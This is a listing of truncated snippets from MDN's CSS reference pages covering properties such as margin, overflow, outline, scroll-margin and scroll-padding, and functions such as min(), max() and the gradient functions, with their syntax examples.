the css justify-self property sets the way a box is justified inside its alignment container along the appropriate axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns an item inside its containing block on the inline axis. for absolutely-positioned elements, it aligns an item inside its containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. in table cell layouts, this property is ignored (more about alignment in block, absolute positioned and table layout) i...
left - CSS: Cascading Style Sheets
the left css property participates in specifying the horizontal position of a positioned element. it has no effect on non-positioned elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ left: 3px; left: 2.4em; /* <percentage>s of the width of the containing block */ left: 10%; /* keyword value */ left: auto; /* global values */ left: inherit; left: initial; left: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the left edge of the containing block. for relatively positioned elements, t...
line-height - CSS: Cascading Style Sheets
text. on block-level elements, it specifies the minimum height of line boxes within the element. on non-replaced inline elements, it specifies the height that is used to calculate line box height. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ line-height: normal; /* unitless values: use this number multiplied by the element's font size */ line-height: 3.5; /* <length> values */ line-height: 3em; /* <percentage> values */ line-height: 34%; /* global values */ line-height: inherit; line-height: initial; line-height: unset; the line-height property is specified as any one of the follo...
linear-gradient() - CSS: Cascading Style Sheets
n creates an image consisting of a progressive transition between two or more colors along a straight line. its result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* a gradient tilted 45 degrees, starting blue and finishing red */ linear-gradient(45deg, blue, red); /* a gradient going from the bottom right to the top left corner, starting blue and finishing red */ linear-gradient(to left top, blue, red); /* color stop: a gradient going from the bottom to top, starting blue, turning green at 40% of its length, and f...
margin-block-end - CSS: Cascading Style Sheets
the margin-block-end css property defines the logical block end margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ margin-block-end: 10px; /* an absolute length */ margin-block-end: 1em; /* relative to the text size */ margin-block-end: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-block-end: auto; /* global values */ margin-block-end: inherit; margin-block-end: initial; margin-block-end: unset; it corresponds ...
margin-block-start - CSS: Cascading Style Sheets
margin-block-start css property defines the logical block start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ margin-block-start: 10px; /* an absolute length */ margin-block-start: 1em; /* relative to the text size */ margin-block-start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-block-start: auto; /* global values */ margin-block-start: inherit; margin-block-start: initial; margin-block-start: unset; i...
margin-bottom - CSS: Cascading Style Sheets
the margin-bottom css property sets the margin area on the bottom of an element. a positive value places it farther from its neighbors, while a negative value places it closer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this property has no effect on non-replaced inline elements, such as <span> or <code>. syntax /* <length> values */ margin-bottom: 10px; /* an absolute length */ margin-bottom: 1em; /* relative to the text size */ margin-bottom: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-bottom: auto; /* global values */ margin-bottom: inherit; margin-bottom...
margin-inline-end - CSS: Cascading Style Sheets
rientation. in other words, it corresponds to the margin-top, margin-right, margin-bottom or margin-left property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ margin-inline-end: 10px; /* an absolute length */ margin-inline-end: 1em; /* relative to the text size */ margin-inline-end: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-end: auto; /* global values */ margin-inline-end: inherit; margin-inline-end: initial; margin-inline-end: unset; it re...
margin-inline-start - CSS: Cascading Style Sheets
ity, and text orientation. it corresponds to the margin-top, margin-right, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ margin-inline-start: 10px; /* an absolute length */ margin-inline-start: 1em; /* relative to the text size */ margin-inline-start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-start: auto; /* global values */ margin-inline-start: inherit; it relates to margin-block-start, margin-block-end, ...
margin-left - CSS: Cascading Style Sheets
the margin-left css property sets the margin area on the left side of an element. a positive value places it farther from its neighbors, while a negative value places it closer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the vertical margins of two adjacent boxes may fuse. this is called margin collapsing. in the rare cases where width is overconstrained (i.e., when all of width, margin-left, border, padding, the content area, and margin-right are defined), margin-left is ignored, and will have the same calculated value as if the auto value was specified. syntax /* <length> values */ margin-left: 10px; /* a...
margin-right - CSS: Cascading Style Sheets
the margin-right css property sets the margin area on the right side of an element. a positive value places it farther from its neighbors, while a negative value places it closer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the vertical margins of two adjacent boxes may fuse. this is called margin collapsing. syntax /* <length> values */ margin-right: 20px; /* an absolute length */ margin-right: 1em; /* relative to the text size */ margin-right: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-right: auto; /* global values */ margin-right: inherit; margin-right: ini...
margin-top - CSS: Cascading Style Sheets
the margin-top css property sets the margin area on the top of an element. a positive value places it farther from its neighbors, while a negative value places it closer. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this property has no effect on non-replaced inline elements, such as <span> or <code>. syntax /* <length> values */ margin-top: 10px; /* an absolute length */ margin-top: 1em; /* relative to the text size */ margin-top: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-top: auto; /* global values */ margin-top: inherit; margin-top: initial; margin-top: uns...
margin - CSS: Cascading Style Sheets
the margin css property sets the margin area on all four sides of an element. it is a shorthand for margin-top, margin-right, margin-bottom, and margin-left. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the top and bottom margins have no effect on non-replaced inline elements, such as <span> or <code>. note: margins create extra space around an element. in contrast, padding creates extra space within an element. syntax /* apply to all four sides */ margin: 1em; margin: -3px; /* vertical | horizontal */ margin: 5% auto; /* top | horizontal | bottom */ margin: 1em auto 2em; /* top | right | bottom | left */...
max-block-size - CSS: Cascading Style Sheets
e-size to set the maximum "width" of the content (although this may instead be vertical rather than horizontal). see the example in writing-mode, which shows the different writing modes in action. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ max-block-size: 300px; max-block-size: 25em; /* <percentage> values */ max-block-size: 75%; /* keyword values */ max-block-size: auto; max-block-size: max-content; max-block-size: min-content; max-block-size: fit-content(20em); /* global values */ max-block-size: inherit; max-block-size: initial; max-block-size: unset; values the max-block-s...
max-inline-size - CSS: Cascading Style Sheets
-inline-size relates to the maximal height of the element, otherwise it relates to the maximal width of the element. it relates to max-block-size, which defines the other dimension of the element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ max-inline-size: 300px; max-inline-size: 25em; /* <percentage> values */ max-inline-size: 75%; /* keyword values */ max-inline-size: auto; max-inline-size: max-content; max-inline-size: min-content; max-inline-size: fit-content(20em); /* global values */ max-inline-size: inherit; max-inline-size: initial; max-inline-size: unset; values the m...
max() - CSS: Cascading Style Sheets
comma-separated expressions as the value of a css property value. the max() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. in the first above example, the width will be at least 400px, but will be wider if the the viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px). think of the max() value as providing the minimum value a property can have. syntax the max() function takes one or more comma-separated expressions as its parameter, with the largest (most pos...
min-block-size - CSS: Cascading Style Sheets
minimum horizontal or vertical size of an element's block, depending on its writing mode. it corresponds to either the min-width or the min-height property, depending on the value of writing-mode. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ min-block-size: 100px; min-block-size: 5em; /* <percentage> values */ min-block-size: 10%; /* keyword values */ min-block-size: max-content; min-block-size: min-content; min-block-size: fit-content(20em); /* global values */ min-block-size: inherit; min-block-size: initial; min-block-size: unset; if the writing mode is vertically oriented, th...
min-height - CSS: Cascading Style Sheets
the min-height css property sets the minimum height of an element. it prevents the used value of the height property from becoming smaller than the value specified for min-height. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the element's height is set to the value of min-height whenever min-height is larger than max-height or height. syntax /* <length> value */ min-height: 3.5em; /* <percentage> value */ min-height: 10%; /* keyword values */ min-height: max-content; min-height: min-content; min-height: fit-content(20em); /* global values */ min-height: inherit; min-height: initial; min-height: unset; valu...
min-inline-size - CSS: Cascading Style Sheets
horizontal or vertical minimal size of an element's block, depending on its writing mode. it corresponds to either the min-width or the min-height property, depending on the value of writing-mode. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ min-inline-size: 100px; min-inline-size: 5em; /* <percentage> values */ min-inline-size: 10%; /* keyword values */ min-inline-size: max-content; min-inline-size: min-content; min-inline-size: fit-content(20em); /* global values */ min-inline-size: inherit; min-inline-size: initial; min-inline-size: unset; if the writing mode is vertically ori...
min() - CSS: Cascading Style Sheets
comma-separated expressions as the value of a css property value. the min() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. in the first above example, the width will be at most 200px, but will be smaller if the viewport is less than 400px wide (in which case 1vw would be 4px, so 50vw would be 200px). in other words, the maximum width is 200px. think of the min() value as providing the maximum value a property can have. syntax the min() function takes one or more comma-separated expressions as it...
minmax() - CSS: Cascading Style Sheets
the minmax() css function defines a size range greater than or equal to min and less than or equal to max. it is used with css grids. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <inflexible-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(400px, 50%) minmax(30%, 300px) minmax(100px, max-content) minmax(min-content, 400px) minmax(max-content, auto) minmax(auto, 300px) minmax(min-content, auto) /* <fixed-breadth>, <track-breadth> values */ minmax(200px, 1fr) minmax(30%, 300px) minmax(400px, 50%) minmax(50%, min-content) minmax(300px, max-content) minmax(200px, auto) /* <inflexible-...
opacity - CSS: Cascading Style Sheets
the opacity css property sets the opacity of an element. opacity is the degree to which content behind an element is hidden, and is the opposite of transparency. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax values <alpha-value> a <number> in the range 0.0 to 1.0, inclusive, or a <percentage> in the range 0% to 100%, inclusive, representing the opacity of the channel (that is, the value of its alpha channel). any value outside the interval, though valid, is clamped to the nearest limit in the range. value meaning 0 the element is fully transparent (that is, invisible). ...
order - CSS: Cascading Style Sheets
the order css property sets the order to lay out an item in a flex or grid container. items in a container are sorted by ascending order value and then by their source code order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <integer> values */ order: 5; order: -5; /* global values */ order: inherit; order: initial; order: unset; since order is only meant to affect the visual order of elements and not their logical or tab order. order must not be used on non-visual media such as speech. values <integer> represents the ordinal group to be used by the item. accessibility concerns using the ord...
orphans - CSS: Cascading Style Sheets
ply to any type of fragment, including pages, regions, or columns. css level 2 (revision 1)the definition of 'orphans' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorphanschrome full support 25edge full support 12firefox no support noie ...
outline-style - CSS: Cascading Style Sheets
the outline-style css property sets the style of an element's outline. an outline is a line that is drawn around an element, outside the border. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often more convenient to use the shorthand property outline when defining the appearance of an outline. syntax /* keyword values */ outline-style: auto; outline-style: none; outline-style: dotted; outline-style: dashed; outline-style: solid; outline-style: double; outline-style: groove; outline-style: ridge; outline-style: inset; outline-style: outset; /* global values */ outline-style: inherit; outline-style: initial...
outline-width - CSS: Cascading Style Sheets
the css outline-width property sets the thickness of an element's outline. an outline is a line that is drawn around an element, outside the border. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is often more convenient to use the shorthand property outline when defining the appearance of an outline. syntax /* keyword values */ outline-width: thin; outline-width: medium; outline-width: thick; /* <length> values */ outline-width: 1px; outline-width: 0.1em; /* global values */ outline-width: inherit; the outline-width property is specified as any one of the values listed below. values <length> the widt...
outline - CSS: Cascading Style Sheets
the outline css shorthand property set all the outline properties in a single declaration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: outline-color outline-style outline-width syntax /* style */ outline: solid; /* color | style */ outline: #f66 dashed; /* style | width */ outline: inset thick; /* color | style | width */ outline: green solid 3px; /* global values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below. the o...
overflow-wrap - CSS: Cascading Style Sheets
e overflow-wrap css property applies to inline elements, setting whether the browser should insert line breaks within an otherwise unbreakable string to prevent text from overflowing its line box. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: in contrast to word-break, overflow-wrap will only create a break if an entire word cannot be placed on its own line without overflowing. the property was originally a nonstandard and unprefixed microsoft extension called word-wrap, and was implemented by most browsers with the same name. it has since been renamed to overflow-wrap, with word-wrap being an alias. synt...
overflow-x - CSS: Cascading Style Sheets
the overflow-x css property sets what shows when content overflows a block-level element's left and right edges. this may be nothing, a scroll bar, or the overflow content. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ overflow-x: visible; overflow-x: hidden; overflow-x: clip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below. values visible content is not clipped and may be rendered outside the padding box's left and...
overflow-y - CSS: Cascading Style Sheets
the overflow-y css property sets what shows when content overflows a block-level element's top and bottom edges. this may be nothing, a scroll bar, or the overflow content. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ overflow-y: visible; overflow-y: hidden; overflow-y: clip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen from the list of values below. if overflow-x is hidden, scroll or auto and this property is visible (default) it will implicitl...
overflow - CSS: Cascading Style Sheets
the overflow css shorthand property sets the desired behavior for an element's overflow — i.e. when an element's content is too big to fit in its block formatting context — in both directions. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or...
padding-block-end - CSS: Cascading Style Sheets
padding-block-end css property defines the logical block end padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ padding-block-end: 10px; /* an absolute length */ padding-block-end: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-block-end: 5%; /* a padding relative to the block container's width */ /* global values */ padding-block-end: inherit; padding-block-end: initial; padding-block-end: unset; values...
padding-block-start - CSS: Cascading Style Sheets
ding-block-start css property defines the logical block start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ padding-block-start: 10px; /* an absolute length */ padding-block-start: 1em; /* a length relative to the text size */ /* <percentage> value */ padding-block-start: 5%; /* a padding relative to the block container's width */ /* global values */ padding-block-start: inherit; padding-block-start: initial; padding-block-start: uns...
radial-gradient() - CSS: Cascading Style Sheets
between two or more colors that radiate from an origin. its shape may be a circle or an ellipse. the function's result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as background-position or transform-origin. if unspecified, it defaults to center. <shape> the gradient's shape. the value ca...
repeating-conic-gradient() - CSS: Cascading Style Sheets
than a single gradient) with color transitions rotated around a center point (rather than radiating from the center). {{embedinteractiveexample("pages/css/function-repeating-conic-gradient.html")}} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* starburst: a a blue on blue starburst: the gradient is a starburst of lighter and darker blue, centered in the upper left quandrant, offset by 3degrees so there is no up/down straight line */ background: repeating-conic-gradient( from 3deg at 25% 25%, hsl(200, 100%, 50%) 0deg 15deg, hsl(200, 100%, 60%) 10deg 30deg); ); values <angle> preced...
repeating-linear-gradient() - CSS: Cascading Style Sheets
but it repeats the color stops infinitely in all directions so as to cover its entire container. the function's result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the length of the gradient that repeats is the distance between the first and last color stop. if the first color does not have a color-stop-length, the color-stop-length defaults to 0. with each repetition, the positions of the color stops are shifted by a multiple of the length of the basic linear gradient. thus, the position of each ending color stop coincides with a starti...
repeating-radial-gradient() - CSS: Cascading Style Sheets
in all directions so as to cover its entire container, similar to repeating-linear-gradient() . the function's result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. with each repetition, the positions of the color stops are shifted by a multiple of the dimensions of the basic radial gradient (the distance between the last color stop and the first). thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition, which can be mitigated by re...
resize - CSS: Cascading Style Sheets
the resize css property sets whether an element is resizable, and if so, in which directions. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ resize: none; resize: both; resize: horizontal; resize: vertical; resize: block; resize: inline; /* global values */ resize: inherit; resize: initial; resize: unset; the resize property is specified as a single keyword value from the list below. values none the element offers no user-controllable method for resizing it. both the element displays a mechanism for allowing the user to resize it, which may be resized both horizontally and ve...
ruby-position - CSS: Cascading Style Sheets
ications specification status comment css ruby layout module level 1the definition of 'ruby-position' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruby-position experimentalchrome no support noedge no support 12 — 79firefox full support 38ie ...
scroll-behavior - CSS: Cascading Style Sheets
the scroll-behavior css property sets the behavior for a scrolling box when scrolling is triggered by the navigation or cssom scrolling apis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note that any other scrolls, such as those performed by the user, are not affected by this property. when this property is specified on the root element, it applies to the viewport instead. this property specified on the body element will not propagate to the viewport. user agents are allowed to ignore this property. syntax /* keyword values */ scroll-behavior: auto; scroll-behavior: smooth; /* global values */ scroll-behavio...
scroll-margin-block-end - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-block-end: 10px; scroll-margin-block-end: 1em; /* global values */ scroll-margin-block-end: inherit; scroll-margin-block-end: initial; scroll-margin-block-end: unset; values <length> an outset from the block end edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas sp...
scroll-margin-block-start - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-block-start: 10px; scroll-margin-block-start: 1em; /* global values */ scroll-margin-block-start: inherit; scroll-margin-block-start: initial; scroll-margin-block-start: unset; values <length> an outset from the block start edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomput...
scroll-margin-block - CSS: Cascading Style Sheets
the scroll-margin-block shorthand property sets the scroll margins of an element in the block dimension. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: scroll-margin-block-end scroll-margin-block-start syntax /* <length> values */ scroll-margin-block: 10px; scroll-margin-block: 1em .5em ; /* global values */ scroll-margin-block: inherit; scroll-margin-block: initial; scroll-margin-block: unset; values <length> an outset from the corresponding edge of the scroll container. description the scroll-margin values repr...
scroll-margin-bottom - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-bottom: 10px; scroll-margin-bottom: 1em; /* global values */ scroll-margin-bottom: inherit; scroll-margin-bottom: initial; scroll-margin-bottom: unset; values <length> an outset from the bottom edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation t...
scroll-margin-inline-end - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-inline-end: 10px; scroll-margin-inline-end: 1em; /* global values */ scroll-margin-inline-end: inherit; scroll-margin-inline-end: initial; scroll-margin-inline-end: unset; values <length> an outset from the inline end edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed val...
scroll-margin-inline-start - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-inline-start: 10px; scroll-margin-inline-start: 1em; /* global values */ scroll-margin-inline-start: inherit; scroll-margin-inline-start: initial; scroll-margin-inline-start: unset; values <length> an outset from the inline start edge of the scroll container. formal definition initial value0applies toall elementsinheritedno...
scroll-margin-left - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-left: 10px; scroll-margin-left: 1em; /* global values */ scroll-margin-left: inherit; scroll-margin-left: initial; scroll-margin-left: unset; values <length> an outset from the left edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby comp...
scroll-margin-right - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-right: 10px; scroll-margin-right: 1em; /* global values */ scroll-margin-right: inherit; scroll-margin-right: initial; scroll-margin-right: unset; values <length> an outset from the right edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby...
scroll-margin-top - CSS: Cascading Style Sheets
l snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ scroll-margin-top: 10px; scroll-margin-top: 1em; /* global values */ scroll-margin-top: inherit; scroll-margin-top: initial; scroll-margin-top: unset; values <length> an outset from the top edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed val...
scroll-margin - CSS: Cascading Style Sheets
the scroll-margin shorthand property sets all of the scroll margins of an element at once, assigning values much like the margin property does for margins of an element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: scroll-margin-bottom scroll-margin-left scroll-margin-right scroll-margin-top syntax /* <length> values */ scroll-margin: 10px; scroll-margin: 1em .5em 1em 1em; /* global values */ scroll-margin: inherit; scroll-margin: initial; scroll-margin: unset; values <length> an outset from the corresponding ed...
scroll-padding-block-end - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-block-end: auto; /* <length> values */ scroll-padding-block-end: 10px; scroll-padding-block-end: 1em; scroll-padding-block-end: 10%; /* global values */ scroll-padding-block-end: inherit; scroll-padding-block-end: initial; scroll-padding-block-end: unset; values <length-percentage> an inwards offset from the block end edge o...
scroll-padding-block-start - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-block-start: auto; /* <length> values */ scroll-padding-block-start: 10px; scroll-padding-block-start: 1em; scroll-padding-block-start: 10%; /* global values */ scroll-padding-block-start: inherit; scroll-padding-block-start: initial; scroll-padding-block-start: unset; values <length-percentage> an inwards offset from the bl...
scroll-padding-block - CSS: Cascading Style Sheets
the scroll-padding-block shorthand property sets the scroll padding of an element in the block dimension. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the scroll-padding properties define offsets for the optimal viewing region of the scrollport: the region used as the target region for placing things in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targeted element and the edges of the scrollport. constituent properties this property is a shorthand for...
scroll-padding-bottom - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ scroll-padding-bottom: auto; /* <length> values */ scroll-padding-bottom: 10px; scroll-padding-bottom: 1em; scroll-padding-bottom: 10%; /* global values */ scroll-padding-bottom: inherit; scroll-padding-bottom: initial; scroll-padding-bottom: unset; values <length-percentage> an inwards offset from the bottom edge of the scrollport, as a v...
scroll-padding-inline-end - CSS: Cascading Style Sheets
the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
